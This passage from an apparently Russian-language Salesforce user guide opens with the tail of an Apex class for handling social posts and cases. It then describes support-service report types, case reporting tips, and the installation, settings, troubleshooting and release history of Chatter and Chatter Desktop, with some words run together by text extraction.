OutboundSocialAccount.ProviderUserId = :post.Recipient AND ReplyTo.Persona.Id = :persona.Id
ORDER BY CreatedDate DESC LIMIT 1];

if (!posts.isEmpty()) {
replyToPost = posts[0];

}
}

if (replyToPost != null) {
List<Case> cases = [SELECT Id, IsClosed, Status, ClosedDate FROM Case WHERE
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Id = :replyToPost.ParentId];
if (!cases.isEmpty()) {

if (!cases[0].IsClosed) return cases[0];
if (cases[0].ClosedDate >

System.now().addDays(-getMaxNumberOfDaysClosedToReopenCase())) {
reopenCase(cases[0]);
return cases[0];

}
}

}

return null;
}

private void reopenCase(Case parentCase) {
SObject[] status = [SELECT MasterLabel FROM CaseStatus WHERE IsClosed = false AND

IsDefault = true];
parentCase.Status = ((CaseStatus)status[0]).MasterLabel;
update parentCase;

}

private void matchPost(SocialPost post) {
if (post.Id != null || post.R6PostId == null) return;
List<SocialPost> postList = [SELECT Id FROM SocialPost WHERE R6PostId =

:post.R6PostId LIMIT 1];
if (!postList.isEmpty()) {

post.Id = postList[0].Id;
}

}

private void findReplyTo(SocialPost post, Map<String, Object> rawData) {
String replyToId = (String)rawData.get('replyToExternalPostId');
if (String.isBlank(replyToId)) return;
List<SocialPost> postList = [SELECT Id, ParentId, IsOutbound, PersonaId FROM

SocialPost WHERE ExternalPostId = :replyToId LIMIT 1];
if (!postList.isEmpty()) {

post.ReplyToId = postList[0].id;
post.ReplyTo = postList[0];

}
}

private void matchPersona(SocialPersona persona) {
if (persona != null && String.isNotBlank(persona.ExternalId)) {

List<SocialPersona> personaList = [SELECT Id, ParentId FROM SocialPersona WHERE

((Provider != 'Other' AND Provider = :persona.Provider) OR
(Provider = 'Other' AND MediaProvider != null AND MediaProvider =

:persona.MediaProvider)) AND
((ExternalId != null AND ExternalId = :persona.ExternalId) OR
(ExternalId = null AND Name = :persona.Name)) LIMIT 1];

if ( !personaList.isEmpty()) {
persona.Id = personaList[0].Id;
persona.ParentId = personaList[0].ParentId;

}
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}
}

private void createPersona(SocialPersona persona) {
if (persona == null || persona.Id != null || String.isBlank(persona.ExternalId)

|| String.isBlank(persona.Name) ||
String.isBlank(persona.Provider)) return;

if (isPersonaAccountEnabled()){
Account account = createPersonAccount(persona);
persona.ParentId = account.Id;

}
else {

Contact contact = createContact(persona);
persona.ParentId = contact.Id;

}
insert persona;

}

private Boolean isPersonaAccountEnabled() {
if (!usePersonAccount()) return false;
Map<String, Object> accountFields = Schema.SObjectType.Account.fields.getMap();
return accountFields.containsKey('IsPersonAccount');

}

private Account createPersonAccount(SocialPersona persona) {
Account account = new Account(

Name = persona.Name
);
insert account;
return account;

}

private Contact createContact(SocialPersona persona) {
String name = persona.RealName;
if (String.isBlank(name)) {

name = persona.Name;
}

String firstName = '';
String lastName = 'unknown';
if (!String.isBlank(name)) {

firstName = name.substringBeforeLast(' ');
lastName = name.substringAfterLast(' ');
if (String.isBlank(lastName)) {

lastName = firstName;
}

}

Contact contact = new Contact(
LastName = lastName,
FirstName = firstName

);
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String defaultAccountId = getDefaultAccountId();
if (defaultAccountId != null) {

contact.AccountId = defaultAccountId;
}
insert contact;
return contact;

}
}

Составление отчетов по действиям службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

Отчеты, доступные в папке «Отчеты службы поддержки», позволяют отслеживать
количество созданныхобращений, комментариев к обращениям, сообщений эл. почты
собращениями, ответственныхзаобращения, ролейконтактовобращений, обращений
с решениями, а также время, прошедшее с момента последнего изменения статуса или
ответственного за обращение, и журнал обращений.

Кроме того, система позволяет создавать отчеты по решениям организации, включая
журналы решений, языки создания решений и актуальность переведенных решений.
При наличии портала самообслуживания организация может выполнять отчеты для
отслеживания показателей использования портала самообслуживания.

Использованиетиповнастраиваемыхотчетовдля составленияотчетовподействиям
службы поддержки
Объекты «Обращения» и «Решения» поддерживаютнесколькотиповнастраиваемых
отчетов, которыемогут использоваться для отслеживания действийрабочей группынад обращениямиирешениями.

Советы по эффективному составлению отчетов службы поддержки
Нижеперечисленысоветыирекомендации, позволяющиеизвлекатьценнуюинформациюизсведенийобобращениях
и решениях.

Использование типов настраиваемых отчетов для составления отчетов по
действиям службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

Объекты «Обращения» и «Решения» поддерживают несколько типов настраиваемых
отчетов, которыемогутиспользоватьсядляотслеживаниядействийрабочей группынад
обращениями и решениями.

Рекомендуем использовать встроенные типы настраиваемых отчетов для создания
отчетовпоколичеству созданныхобращений, комментариевкобращениям, сообщений
эл. почты с обращениями, ответственных за обращения, ролей контактов обращений,
обращенийсрешениями, атакжевремени, прошедшемусмоментапоследнегоизменения
статуса или ответственного за обращение, и журналу полей обращений.

Кроме того, система позволяет создавать отчеты по решениям организации, включая
журналы решений, языки создания решений и актуальность переведенных решений.
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Некоторые типы настраиваемых отчетов доступны только при использовании связанных функций. Например, при
включении архивного трендинга для объекта «Обращения» пользователь получает автоматический доступ к типу
настраиваемого отчета «Обращения с архивным трендингом».

Обращения с архивным трендингом
Чтобы проанализировать динамические изменения сведений об обращениях, выберите тип настраиваемого отчета
«Обращения с архивным трендингом». Данный тип отчета доступен только при использованиифункции архивного
трендинга.

Обращения и сообщения эл. почты
Чтобы создать настраиваемый отчет для просмотра списка входящих и исходящих сообщений эл. почты по
обращениям, выберите тип отчета «Обращения и сообщения эл. почты». Данный тип отчета доступен только при
использованиифункции Email-to-Case или On-Demand Email-to-Case.

Переведенные решения
Чтобырезюмироватьпереведенныерешения, связанныескаждымосновнымрешением, выберитеотчет «Переведенные
решения».

Роль контакта
Чтобы просмотреть все обращения со связанными ролями контакта, выберите отчет «Роль контакта».

Обращения со статьями
Чтобыпросмотретьстатьи, вложенныевобращения, выберитеотчет «Обращениясостатьями». Данныйотчетдоступен
только при использовании компонента Salesforce Knowledge.

Данный отчет отображает даже те статьи, которые не помечены как доступные для внутреннего приложения.

Жизненный цикл обращения
Чтобыпросмотреть результатыполя «Диапазон», содержащего время, прошедшее с момента последнего изменения
статуса или ответственного за обращение, запустите отчеты по жизненному циклу обращения. Каждое изменение
статуса или ответственного инициирует обнуление счетчика.

Сервисные контракты с правами
Чтобы просмотреть услуги, доступные клиентам, выберите тип отчета «Сервисные контракты с правами». Данный
тип отчета доступен только при использованиифункции «Сервисные контракты с правами».

Организации с правами и контактами
Данныйтипотчета составляет списокорганизацийсправами, содержащимиконтакты (названныеоператоры). Данный
тип отчета доступен только при использованиифункции «Сервисные контракты с правами».

Сервисные контракты с элементами строки контракта
Данный тип отчета составляет список сервисных контрактов с элементами строки контракта (продуктами). Данный
тип отчета доступен только при использованиифункции «Сервисные контракты с элементами строки контракта и
правами».

Обращения с контрольными точками
Чтобысоздатьнастраиваемыйотчет дляпросмотра спискаобращенийс контрольнымиточками, выберите типотчета
«Обращения с контрольными точками». Данный тип отчета доступен только при использовании прав.

Прим.: Статус контрольной точки в списке просмотров и отчетов основан на времени окончания связанного
процессаправа. Есливпрофильпользователяне входитдоступкполюобращения «Время окончания процесса
права», топрипросмотреотчетовисписковможетотображатьсяневерныйстатусконтрольнойточкиобращений.
Список записейиконтрольныхточекобращениябудетотображать верные значениястатуса контрольнойточки.

Журнал обращения/Журнал решения
Чтобыотслеживатьжурналстандартныхинастраиваемыхполейобращенийирешений, поддерживающихфункцию
отслеживания, выберите типы отчетов «Журнал обращения» и «Журнал решения». Данные отчеты позволяют
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просматривать предыдущие и новые значения отслеживаемых полей. Условияфильтра не могут использоваться для
поиска результатов в полях «Предыдущее значение» и «Новое значение».

Права и контракты
Типы настраиваемых отчетов позволяют определять критерии отчета, поддерживающие запуск и создание отчетов
по правам, сервисным контрактам и элементам строки контракта. Ниже перечислены типы настраиваемых отчетов,
которые автоматически добавляются системой Salesforce при включениифункции управления правами.

Область типа отчетаОписаниеТип настраиваемого отчета

Организации и контактыДанныйтипотчета составляет список
организацийсправами, содержащими
контакты (названные операторы).

Организациисправамииконтактами

Отчеты службы поддержкиДанныйтипотчета составляет список
сервисных контрактов с элементами
строки контракта (продуктами).

Сервисные контракты с элементами
строки контракта

Отчеты службы поддержкиДанныйтипотчета составляет список
сервисных контрактов с правами.

Сервисные контракты с правами

Советы по эффективному составлению отчетов службы поддержки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.
(Доступные отчеты
определяютсяиспользуемой
версией.)

Ниже перечислены советы и рекомендации, позволяющие извлекать ценную
информацию из сведений об обращениях и решениях.

• Присозданииотчетовпообращениямдополнитеотчетполем «Номер родительского
обращения». Данное поле определяет наличие связи между обращением и
родительским обращением.

• При создании отчетов по показателям оперативности разрешения обращений
дополните отчет полем «Закрыто при создании». Данное поле соответствует
обращениям, закрытым представителями службы поддержки посредством кнопки
«Сохранить и закрыть» во время создания обращения.

• Принеобходимостисоздайтеотчетпообращениям, содержащимконтактныеадреса
эл. почты, экспортируйте данные отчетов в Excel и выполните пакетную отправку
стандартных писем посредством приложения Microsoft Word.

Типы стандартных отчетов
• Чтобырезюмироватьпереведенныерешения, связанныескаждымосновнымрешением, выберитеотчет «Переведенные

решения».

• Чтобы просмотреть все обращения со связанными ролями контакта, выберите отчет «Роль контакта».

• Чтобыпросмотретьстатьи, вложенныевобращения, выберитеотчет «Обращениясостатьями». Данныйотчетдоступен
только при использовании компонента Salesforce Knowledge.

Данный отчет отображает даже те статьи, которые не помечены как доступные для внутреннего приложения.
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Типы настраиваемых отчетов
• Чтобысоздатьнастраиваемыйотчет дляпросмотра спискаобращенийс контрольнымиточками, выберите типотчета

«Обращения с контрольными точками». Данный тип отчета доступен только при использовании прав.

• Чтобыотслеживатьжурналстандартныхинастраиваемыхполейобращенийирешений, поддерживающихфункцию
отслеживания, выберите типы отчетов «Журнал обращения» и «Журнал решения». Данные отчеты позволяют
просматривать предыдущие и новые значения отслеживаемых полей. Условияфильтра не могут использоваться для
поиска результатов в полях «Предыдущее значение» и «Новое значение».

• Чтобы создать настраиваемый отчет для просмотра списка входящих и исходящих сообщений эл. почты по
обращениям, выберите тип отчета «Обращения и сообщения эл. почты». Данный тип отчета доступен только при
использованиифункции Email-to-Case или On-Demand Email-to-Case.

• Чтобыпросмотреть результатыполя «Диапазон», содержащего время, прошедшее с момента последнего изменения
статуса или ответственного за обращение, запустите отчеты по жизненному циклу обращения. Каждое изменение
статуса или ответственного инициирует обнуление счетчика.

Обращения на порталах
При наличии портала самообслуживания организация может выполнять отчеты для отслеживания показателей
использования портала самообслуживания.

• Присозданииотчетовпокомментариямкобращениямвыберитеполе «Общедоступный комментарий к обращению»,
позволяющее определять личные и общедоступные комментарии. Общедоступные комментарии помечаются
флажком. Чтобыограничитьрезультатыотчетаобщедоступнымикомментариями, настройтеотчетидобавьтефильтр
поля «"Общедоступный комментарий к обращению" равно "Истина"». Аналогично, чтобыограничитьрезультатыотчета
только личными комментариями, добавьте фильтр «"Общедоступный комментарий к обращению" равно "0"».

• Чтобы просмотреть количество обращений, закрытых пользователями на портале самообслуживания посредством
предложенных решений, выберите поле «Закрыто пользователем портала самообслуживания».

Категории решений
Создайтенастраиваемыйотчет, сортирующийрешенияпокатегориям. Выберитеполе «Имя категории» дляотображения
категории решения и поле «Имя родительской категории» для отображения родительской категории решения.

• Отчет, ограниченныйрешениямиотдельнойкатегории, содержиттолькорешения, связанныес категориейнапрямую.
Данный отчет не содержит решения, относящиеся к подкатегориям указанной категории.

• Чтобы создать отчет по некатегоризированным решениям, воспользуйтесь расширеннымифильтрами отчета.
Выберите поле «Имя категории» и оператор «равно», а третье поле оставьте незаполненным.

Участники рабочей группы
• При необходимости создайте отчет по рабочим группам со своим участием. После запуска отчета по обращениям

выберитезначение «Обращения моей группы, работающей с обращениями» враскрывающемсясписке «Показать».

• Поле «Роль ответственного» в отчетах по обращениям определяется не так, как для остальных объектов. Обычно
поле «Роль ответственного» определяется полем «Имя роли, отображаемое в отчетах», доступным в роли
пользователя. В отличие от других объектов, обращения используют поле «Метка».

• При необходимости ограничьте любой отчет по обращениям обращениями, принадлежащими пользователям или
очередям. Выберитепункт «Обращения, принадлежащиепользователю» или «Обращения, принадлежащиеочереди»
в раскрывающемся списке «Просмотр» вверху отчета по обращениям.
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Расширенное сотрудничество

Добро пожаловать, пользователи инструментов сотрудничества!

Пословица «Одинвполене воин» актуальнадаже в системе Salesforce! Сотрудничество — как внешнее, таки внутреннее —
позволяет сократить время выполнения задач и повысить их эффективность.

Данная документация содержит сведения об инструментах сотрудничества (например, Chatter, Salesforce CRM Content и
дажедокументы). Врамках сотрудничестваподдерживаютсялюбыедоступныедействия, а даннаядокументацияпозволяет
определить оптимальный способ их выполнения.

Сотрудничество внутри компании

Публикация общедоступных обновлений (Chatter)

Общие сведения о Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Chatter — этоприложениеSalesforce, позволяющеесотрудникамобмениватьсярепликами
и деловой информацией в режиме реального времени.

Компоненты Chatter (например, ленты, профили, группы и многое другое) позволяют
обмениватьсяинформацией, совместноработатьнадтекущимипроектамииотслеживать
последние обновления в компании.

ДляработысетиChatterиспользуются тежепараметрыбезопасности, что ворганизации
Salesforce. По умолчанию Chatter доступен организациям, созданным после 22 июня
2010 года. Администраторы других организаций должны включать Chatter вручную.
Приложение Chatter доступно в меню приложений, которое расположено в верхнем
правомуглулюбойстраницы. ЕсливкладкиChatterдобавленыадминистраторомвдругие
приложения, а параметрыотображениянастраивалисьпользователемранее, то вкладки
должны быть добавлены вручную.

Некоторые сторонние модули и расширения веб-обозревателя могут препятствовать нормальной работе Chatter. If you
experience malfunctions or inconsistent behavior with Chatter, disable the Web browser's plug-ins and extensions and try again.

Chatter не поддерживается:

• при использовании Microsoft® Internet Explorer 6.0;

• для внешних пользователей на клиентских или партнерских порталах;

• на вкладке «Консоль».

Сообщения и комментарии, публикуемые пользователями в Chatter, сохраняются на протяжении всего времени
предоставления доступа к соответствующей организации клиента. Компания salesforce.com оставляет за собой право
применять указанные ниже ограничения.

• Количество системных отслеживаемых обновлений ленты. В настоящее время отслеживаемые обновления ленты,
которые были опубликованы более 45 дней назад и не содержат комментариев или предпочтений, удаляются
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автоматически. Отслеживаемые обновления ленты больше не отображаются в ленте. Тем не менее, пользователям
доступен контрольный журнал для отслеживаемого поля, поддерживающего функцию аудита.

• Количество электронных уведомлений, доступное для организации в течение одного часа.

Ограничения могут быть изменены. Дополнительную информацию можно получить в компании Salesforce.

Начало работы с Chatter

Общие сведения о вкладке Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Вкладка Chatter — это основная страница для совместной работы, предоставляющая
мгновенный доступ к большинству функций сотрудничества в приложении Chatter.

Ниже перечислены действия, доступные на вкладке Chatter.

• Публикация сообщения, доступного отслеживающим пользователям, или
комментария к сообщению другого пользователя.

• Выбор понравившихся сообщений или комментариев в знак поддержки.

• Публикациясообщениявпрофильили группу, либоотправка ссылкина сообщение
другим пользователям Chatter посредством сообщения эл. почты или мгновенного
сообщения.

• Просмотр, фильтрацияисортировкалентыналевойбоковойпанели, позволяющей
просматривать сообщения для отслеживаемых пользователей или записей и групп
со своим участием, сообщения, содержащие упоминания собственного имени, сообщения, добавленные в закладки,
или все сообщения компании.

• Поиск по ленте, позволяющий быстро находить нужные сведения в сообщениях и комментариях ленты на вкладке
Chatter.

• Добавление сообщения в закладки, позволяющее отслеживать новые комментарии к сообщениюили напоминать о
необходимости его доработки.

• Добавление тем в сообщение, позволяющее категоризировать сообщение и повышать его доступность.

• Просмотр списков людей, групп, файлов и тем.

• Просмотр или обновление профиля (например, фотография для профиля или контактные данные).

• Просмотр или отправка личных сообщений, доступных только определенным пользователям.

• Просмотризбранного, позволяющийоткрыватьпоследниесообщенияикомментариикизбраннымтемам, списковым
представлениям и поискам по лентам Chatter.

• Просмотр рекомендаций по людям, группам, файлам и записям, связанным с должностью и интересами текущего
пользователя.

• Просмотр самых обсуждаемых тем, интересующих пользователей Chatter в данный момент.

• Приглашение в Chatter людей, которым не назначены лицензии Salesforce на использование Chatter.
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Chatter Desktop

Общие сведения о Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Chatter Desktop — этобесплатноенастольноеприложение, позволяющееработать в сети
Chatter без использования обозревателя. Приложение Chatter Desktop позволяет
публиковать сообщения и комментарии в сети Chatter, а также получать обновления о
собственных группах и отслеживаемых людях, записях или файлах. Кроме того,
приложение Chatter Desktop поддерживает чат и личные сообщения Chatter, а также
отображаетобновленияиличныесообщенияChatter в виде всплывающихуведомлений
на панели задач Windows или Mac OS X.

Прим.: Пользователи-клиенты могут устанавливать и использовать приложение
Chatter Desktop, но имеют ограниченный доступ к его функциям. Например,
пользователям-клиентам недоступно отслеживание пользователей или записей,
общение и настройка параметров управления.

Установка Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Salesforce предлагает два способа установки Chatter Desktop: стандартную версию для
самостоятельнойустановкииуправляемуюверсиюдля корпоративногоразвертывания.

Ниже перечислены минимальные требования для использования приложения Chatter
Desktop.

• Windows

– x86-совместимый процессор 2,33 ГГц или лучше/процессор Intel Atom™ 1,6 ГГц
для нетбуков или лучше

– Microsoft® Windows® XP, Windows Server® 2003, Windows Server 2008, Windows Vista®

Home Premium, Business, Ultimate или Enterprise (включая 64-разрядные версии) с
пакетом обновления 2 (SP2) или Windows 7

– 512 МбОЗУ (рекомендуем 1 Гб)

• Mac

– Процессор Intel® Core™ Duo 1,83 ГГц или лучше

– Mac OS X 10.5, 10.6 или 10.7

– 512 МбОЗУ (рекомендуем 1 Гб)

Важное замечание: Для работы приложения Chatter Desktop используется межплатформенная среда выполнения
для настольных приложений Adobe® Integrated Runtime (AIR®), которая должна поддерживаться установленной
операционной системой. Приложение Chatter Desktop не работает в операционных системах, которые не
поддерживают Adobe AIR (например, 64-разрядная версия Linux). Дополнительнуюинформациюосреде выполнения
Adobe AIR см. на веб-сайте компании Adobe.

Стандартная версия:

• Требуются полномочия администратора на компьютере

• Полномочия администратора в системе Salesforce не требуются

• Автоматическая установка требуемой версии Adobe® Integrated Runtime (AIR®)

• При первом запуске приложения Chatter Desktop необходимо принять лицензионное соглашение
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• При первом запуске приложения Chatter Desktop в Chatter публикуется сообщение об установке Chatter Desktop

• Периодическая проверка Salesforce на наличие новых версий

Чтобы установить стандартную версию, выполните указанные ниже действия.

1. Введите строку «Chatter Desktop» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Chatter
Desktop».

2. Нажмите кнопку «Загрузить».

3. Выполните экранные инструкции.

Прим.: Администраторы могут отключить страницу загрузки Chatter Desktop и заблокировать доступ к Chatter
Desktop.

Важное замечание: Для предварительного просмотра PDF-файлов Chatter Desktop использует приложение Adobe®

Acrobat® Reader. Прежде чем использовать Chatter Desktop для предварительного просмотра файлов, установите
приложение Adobe Acrobat с веб-сайта компании Adobe и запустите его как минимум один раз.

Подключение Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

При наличии нескольких учетных записей Salesforce или Chatter пользователи могут
создатьотдельноеподключениедля каждойучетнойзаписи. Вэтомслучаеприложению
Chatter DesktopбудутдоступнытолькотеданныеChatter, которыедоступныпользователям
при работе с интерактивным приложением.

1.
Щелкните значок и выберите пункт «Параметры».

2. В разделе «Подключения» введите имя подключения и URL-адрес входа. URL-адрес
должен начинаться с компонента https:// и заканчиваться компонентом
salesforce.com или chatter.com. Например, европейское подразделение
организации использует для входа в систему следующий адрес:
https://emea.salesforce.com. Чтобыдобавитьновоеподключение, введите
данный URL-адрес и укажите имя «Европа».

ПоумолчаниюприложениеChatter Desktopподключается к основному экземпляру системы Salesforce (Production) или
безопасной среде Force.com.

3. Нажмите кнопку «Авторизовать» и выполните инструкции по авторизации данного подключения в приложении
Chatter Desktop.

Чтобы выбрать подключение по умолчанию, установите нужный переключатель в окне «Параметры». Чтобы быстро

изменить подключение во время работы с приложением Chatter Desktop, щелкните значок и выберите пункт
«Изменить подключение», а затем выберите нужное подключение.

Прим.: Несмотря на то, что приложение Chatter Desktop поддерживает создание нескольких подключений,
одновременно для входа в систему может использоваться только одно подключение. Приложение Chatter Desktop
не позволяет одновременно просматривать данные для нескольких подключений.

СМ. ТАКЖЕ:

Настройка Chatter Desktop
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Настройка Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ДлябольшинствапользователейдостаточностандартнойконфигурацииChatter Desktop,
однако некоторые параметры Chatter Desktop могут быть изменены. Чтобы открыть

параметрыChatter Desktop, щелкните значок ивыберитепункт «Параметры». Ниже
перечислены параметры, доступные для настройки.

• Вход в приложение Chatter Desktop при запуске компьютера.

• Сворачивание приложения Chatter Desktop при выходе.

• Включение или отключение всплывающих уведомлений. По умолчанию
всплывающие уведомления включены.

• Управление предупреждениями для новых сообщений и комментариев ленты
(дополнительные параметры).

• Отображение приложения Chatter Desktop только поверх других окон
(дополнительные параметры).

• Отображение окна чата поверх других окон при получении нового сообщения.

• Проигрывание звуковых уведомлений для новых чатов или всех сообщений при свернутом или неактивном окне
чата (например, использование нескольких чатов или другого приложения).

• Редактирование подключений.

СМ. ТАКЖЕ:

Рекомендации по устранению неполадок Chatter Desktop

Использование Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

В окне Chatter Desktop:

Значение:Значок:

Изменение статуса в чате. Установите статус «Наместе», «Отошел» или
«Не в сети». Пользователь со статусом «Не в сети» недоступен для

общения.

Фотография
для
профиля

Просмотробновленийлентыдлявсехотслеживаемыхпользователейизаписей,
а также публикация обновлений.

• Чтобыдобавитькомментарий, щелкните«Комментарий». Чтобыполучать
электронные уведомления о добавлении комментария к сообщению,
щелкните «Нравится». Чтобы удалить доступное сообщение, щелкните
«Удалить».

• Чтобы опубликовать локальныйфайл, перетащите файл в область ввода

сообщения илищелкните значок , отображающийся при вводе
сообщения.

• Чтобы опубликовать ссылку, вставьте ссылку в текстовую область вверху

лентыилищелкните значок , отображающийсяпри вводе сообщения.

• Чтобы отсортировать обновления, воспользуйтесь фильтром
«Сортировать по» вверху ленты.
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– «Дата публикации»: сортировка лент по дате публикации. Чтобы просмотреть все комментарии,
нажмите кнопку «Показать все комментарии» под сообщением.

– «Дата публикации и добавления комментария»: сортировка лент по дате публикации и добавления
комментария. Чтобыпросмотреть все комментарии, нажмите кнопку «Показатьвсекомментарии»
под связанным сообщением.

Просмотр и комментирование обновлений, предназначенных для текущего пользователя.

Общение с людьми и просмотр их обновлений. Сообщения чата отображаются в отдельном окне.

• Чтобы просмотреть пользователей или чаты, добавленные в избранное, нажмите кнопку «Избранное

чата». Чтобы добавить избранное, щелкните значок напротив имени нужного пользователя или в
любом активном чате.

• Чтобы просмотреть обновления конкретного пользователя или опубликовать сообщение в его ленту,
нажмите кнопку «Отслеживание» или «Отслеживающие» и выберите имя нужного пользователя.

• Чтобы выполнить указанные ниже действия, наведите указатель мыши на имя нужного пользователя.

– Чтобы отправить личное сообщение, щелкните значок .

– Чтобы добавить пользователя в качестве избранного чата, щелкните значок . Имя пользователя
будет добавлено в список «Избранное чата».

– Чтобы начать отслеживание пользователя, щелкните значок . Чтобы отменить отслеживание

пользователя, щелкните значок .

– Чтобы начать чат, щелкните значок . Значок в окне чата позволяет находить и добавлять не
более 10 пользователей в текущий чат. Пользователи со статусом «Не в сети» недоступны для
общения.

Прим.: Доступно только в том случае, если в организации включена поддержка чата.

ПросмотрличныхсообщенийChatterиотправкаответов. Чтобыпросмотреть сообщение, щелкнитенужное
сообщение. Чтобы отправить новое сообщение, нажмите кнопку «Создать сообщение».

Прим.: Доступно только в том случае, если в организации включена поддержка сообщений.

Просмотр обновлений ленты из групп.

• Чтобы просмотреть ленту группы или опубликовать обновления, щелкните имя нужной группы или
выполните ее поиск. Обновления могут быть опубликованы во всех общедоступных группах и личных
группах со своим участием.

• Чтобы стать участником группы, щелкните «Присоединиться». Чтобы выйти из состава группы,
щелкните «Участник».

• Чтобы просмотреть описание группы, щелкните значок .

Просмотр и комментирование отслеживаемых записей. Выберите нужный тип записи (например,
«Организация») враскрывающемсяменювверхнейчастиокна. Вспискеотображаютсятолькоотслеживаемые
записи. Чтобы просмотреть сведения о записи, щелкните имя нужной записи. Приложение Chatter Desktop
отображает первые восемь полей записи.
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Редактирование параметров Chatter Desktop или изменение подключения.

Мгновеннаясинхронизацияданных. СинхронизацияприложенияChatter Desktopвыполняетсяавтоматически,
но иногда может занимать некоторое время.

СМ. ТАКЖЕ:

Рекомендации по устранению неполадок Chatter Desktop

Рекомендации по устранению неполадок Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Ниже приведены решения по устранению неполадок Chatter Desktop.

Chatter Desktop использует Adobe® Integrated Runtime (AIR®). Вприведеннойниже таблице
описаны решения распространенных неполадок, связанных с AIR. Для получения
дополнительной информации обратитесь к базе знаний Adobe®.

РешениеПроблема

Удалите каталоги общедоступного локального объекта (SLO) и
зашифрованноголокальногохранилища (ELS) иповторноустановите
Chatter Desktop.

В каталоге SLO хранится постоянная информация, например
последнее местоположение и размер экрана. Он находится по
следующему адресу:

Ошибка
установки
Chatter Desktop

• Mac OS /[USER]/Library/Preferences/sfdc-desktop*

• Windows Vista, Windows 7, Windows
8.x:C:\Users\<USER>\AppData\Roaming\sfdc-desktop*

• Windows XP:C:\Documents and
Settings\<USER>\Application Data\sfdc-desktop*

В ELS хранятся пользовательские удостоверения Oauth2.0. ELS
находится по следующему адресу:

• Mac OS /[USER]/Library/Application
Support/Adobe/AIR/ELS/sfdc-desktop*

• Windows Vista, Windows 7, Windows
8.x:C:\Users\<USER>\AppData\Roaming\Adobe\AIR\ELS\sfdc-desktop*

• Windows XP:C:\Documents and
Settings\<USER>\Application
Data\Adobe\AIR\ELS\sfdc-desktop*

При использовании управляемой установки проверьте следующие
файлы.

При
использовании
воперационной • Файл .chatterdesktop должен быть синтаксически

корректным и содержать действительные данные XML.системе Linux
приложение
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РешениеПроблема

Chatter Desktop не
откликается, не

• Файл .chatterdesktop должен содержать действительные URL-адреса, каждый из
которыхначинается с элемента https:// изаканчивается элементом salesforce.com.

сохраняет пароль, Устраните ошибки в хранилище ключей ELS. Дополнительную информацию см. по ссылке
http://kb2.adobe.com/cps/492/cpsid_49267.html.отображает пустое

окно или возникают
другие ошибки.

Для предварительного просмотра PDF-файлов Chatter Desktop использует приложение Adobe®

Acrobat® Reader. Прежде чем использовать Chatter Desktop для предварительного просмотра
Chatter Desktop не
поддерживает

файлов, установите приложение Adobe Acrobat с веб-сайта компании Adobeи запустите его как
минимум один раз.

предварительный
просмотр PDF-файлов.

Щелкните значок синхронизации.Фотографии с
комментариями не
обновляются.

СМ. ТАКЖЕ:

Настройка Chatter Desktop

Удаленное отключение Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

В случае кражи или потери компьютера, на котором установлено приложение Chatter
Desktop, пользователи могут заблокировать доступ к данным Salesforce для приложения
Chatter Desktop.

1. На странице личных параметров введите строку «Дополнительные сведения о
пользователе» вполе «Быстрый поиск», затемвыберите«Дополнительныесведения
о пользователе». Нет результатов? Введите строку «Личные сведения» в поле
«Быстрый поиск» и выберите пункт «Личные сведения».

2. Щелкните ссылку «Отменить» напротив приложения Chatter Desktop в разделе
«Удаленный доступ».

СМ. ТАКЖЕ:

Рекомендации по устранению неполадок Chatter Desktop

Индивидуальная настройка системы Salesforce

3211

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество

http://kb2.adobe.com/cps/492/cpsid_49267.html
http://www.adobe.com/products/acrobat/readstep2.html


Выпуски приложения Chatter Desktop

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

В таблице ниже указаны обновления для каждого выпуска приложения Chatter Desktop.

ОбновленияВерсия

3.2.2 • Обновлениесертификатаустановщика

3.2.1 • Обновлениесертификатаустановщика

3.2 • Настройкавсплывающихоповещений
дляновыхсообщенийикомментариев
ленты

• Отображение приложения Chatter
Desktop только поверх других окон

• Удалениедоступныхсообщенийленты

• Публикация во всех общедоступных
группах

• Поддержка прокрутки и активных
ссылок в описаниях группы

• Исправлениеразнообразныхошибок,
в том числе отрицательных значений
и имен, отображающихся дважды в
предпочтениях и недействительных
тематических ссылках

3.1.1 • Обновлениесертификатаустановщика

3.1 • Добавление файлов в комментарии

• Просмотр списка чата,
отсортированного по личному имени

• Просмотр даты последнего действия
для групп

• Усовершенствованный просмотр
нескольких чатов

• Сортировка избранного по
доступности пользователей

